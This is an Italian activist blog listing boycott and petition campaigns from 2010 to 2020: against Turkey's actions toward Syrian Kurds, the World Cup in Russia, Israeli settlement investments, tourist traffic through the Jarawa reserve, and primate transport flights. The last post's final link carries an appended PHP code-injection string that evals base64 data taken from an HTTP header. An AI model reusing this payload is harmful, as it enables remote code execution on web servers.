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martedì 14 gennaio 2020

Call tuo boycott Turkish Government....

Iniziativa complessa e interessante, in favore del popolo curdo della Siria invaso di recente dal Presidente della Turchia col progetto di pulizia etnica. La popolazione locale stava sperimentando un apprezzabile modello di civiltà basato sui diritti e parità di genere, una società rispettosa anche dell’ambiente. A sostegno di questo modello è nata la campagna di boicottaggio degli eventi promossi dal governo turco nell’ambito della cultura. Università, enti, istituzioni che non hanno preso distanza dalle azioni incivili perpetrate negli ultimi mesi e che non hanno mostrato solidarietà per la distruzione di un esperimento così importante nel mondo arabo, sono ora oggetto di boicottaggio da parte di chi non si rassegna al tentativo di annientare la democrazia.

martedì 3 luglio 2018

50.000 visite

Sono passati 10 anni. Prima ancora per tanto tempo sono andata in giro con cartoline da spedire alle aziende per dichiarare boicottaggi, fogli di petizioni da riempire e volantini. Poi cominciai a riassumere per i soliti amici che mi assecondavano le pagine sulle condizioni dei braccianti e soprattutto delle braccianti nelle piantagioni di banane, sui piccoli schiavi che cucivano i nostri palloni, i grandi giocatori superpagati per uno spot di scarpe di marca.... 
E solo dopo iniziai a spedire mail, dapprima molto lunghe. Nei vari tentativi una persona mi prese particolarmente sul serio e iniziò a commentare sulla formula migliore, fino a che non trovammo l'accordo su questi trafiletti che rimandano ad approfondimenti. 
Arrivò anche un prolungato stato di malattia a farmi pensare come mettere a frutto il mio tempo, apparentemente sprecato. Senza una pausa così lunga forse non avrei mai iniziato.
Questo traguardo di oggi, per un blog che a periodi giace dimenticato e poi riparte, lo condivido con Roberto a Praga e con il mio coxsackie che giace latente dentro di me da qualche parte. 
Grazie delle visite e della partecipazione a tanti facili successi raggiunti con una semplice firma. 
Avanti verso il 100.000!

lunedì 19 marzo 2018

I mondiali della vergogna

La Russia da tempo sostiene il presidente siriano Assad, in modo aperto e in modo indiretto ostacolando le risoluzioni internazionali, volte a mettere fine all'assedio della popolazione. 
Nei prossimi mesi di giugno e luglio i mondiali di calcio si terranno proprio in Russia e i rappresentanti delle istituzioni di alcuni Paesi hanno già fatto sapere che non parteciperanno, proprio per esprimere la propria contrarietà a queste politiche internazionali di guerra. 
Le firme sono rivolte a tutte le squadre partecipanti e ai loro Governi perché aderiscano a questo boicottaggio. https://secure.avaaz.org/it/alt_world_cup_loc_fr_pa/

lunedì 27 febbraio 2017

Israele-Palestina: mettiamo fine all'incubo

Nel 2013 sono state introdotte, da parte di 17 Paesi Ue, linee guida per rendere riconoscibili gli investimenti nei territori occupati illegalmente da Israele, così da poterne evitare il sostegno economico. 
Questa petizione chiede a sei banche, fondi pensione e importanti aziende individuate per le loro attività in queste zone, di valutarne la rinuncia.

lunedì 16 maggio 2016

Ferma i safari umani


Nelle isole Andamane, territorio indiano, migliaia di turisti ogni giorno percorrono la strada che attraversa la riserva di una tribù locale (che la Corte Suprema indiana ha ordinato di chiudere nel 2002) e in taluni casi i suoi membri sono stati costretti a dare spettacolo. 


Veicoli in coda per entrare nella riserva degli Jarawa lungo la strada Andaman Trunk Road.
Il sito di Survival ospita due diverse iniziatie:

- la prima riguarda il boicottaggio turistico http://www.survival.it/petizioni/boicottaggio-andamane, 
- la seconda sollecita il governo indiano a chiudere la strada http://www.survival.it/e-mail/safari-umani.

venerdì 7 febbraio 2014

Fermiamo i voli della tortura!

Varie associazioni propongono iniziative di pressione perché le compagnie aree rifiutino di trasportare i grandi primati verso i laboratori di sperimentazione. Dopo la compagnia di bandiera filippina e quella cinese, ancora Air France-KLM non hanno preso posizione. 
Segnalo una sola pagina tra tante, che propone il boicottaggio dei voli e l'invio di email di protesta:

mercoledì 2 giugno 2010

Boycott Israel

Alla pagina http://www.boicottaisraele.it/files/index.php troverete alcune motivazioni per aderire al boicottaggio di varie aziende italiane che commercializzano i loro prodotti localmente, il cui elenco è qui: http://www.forumpalestina.org/news/2008/Ottobre08/Aziendeitaliane/AziendeItaliane.htm
Analoga iniziativa, è qui: http://www.islam-online.it/2010/03/05/boicottaggio-dello-stato-sionista/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D|.+%29&%/.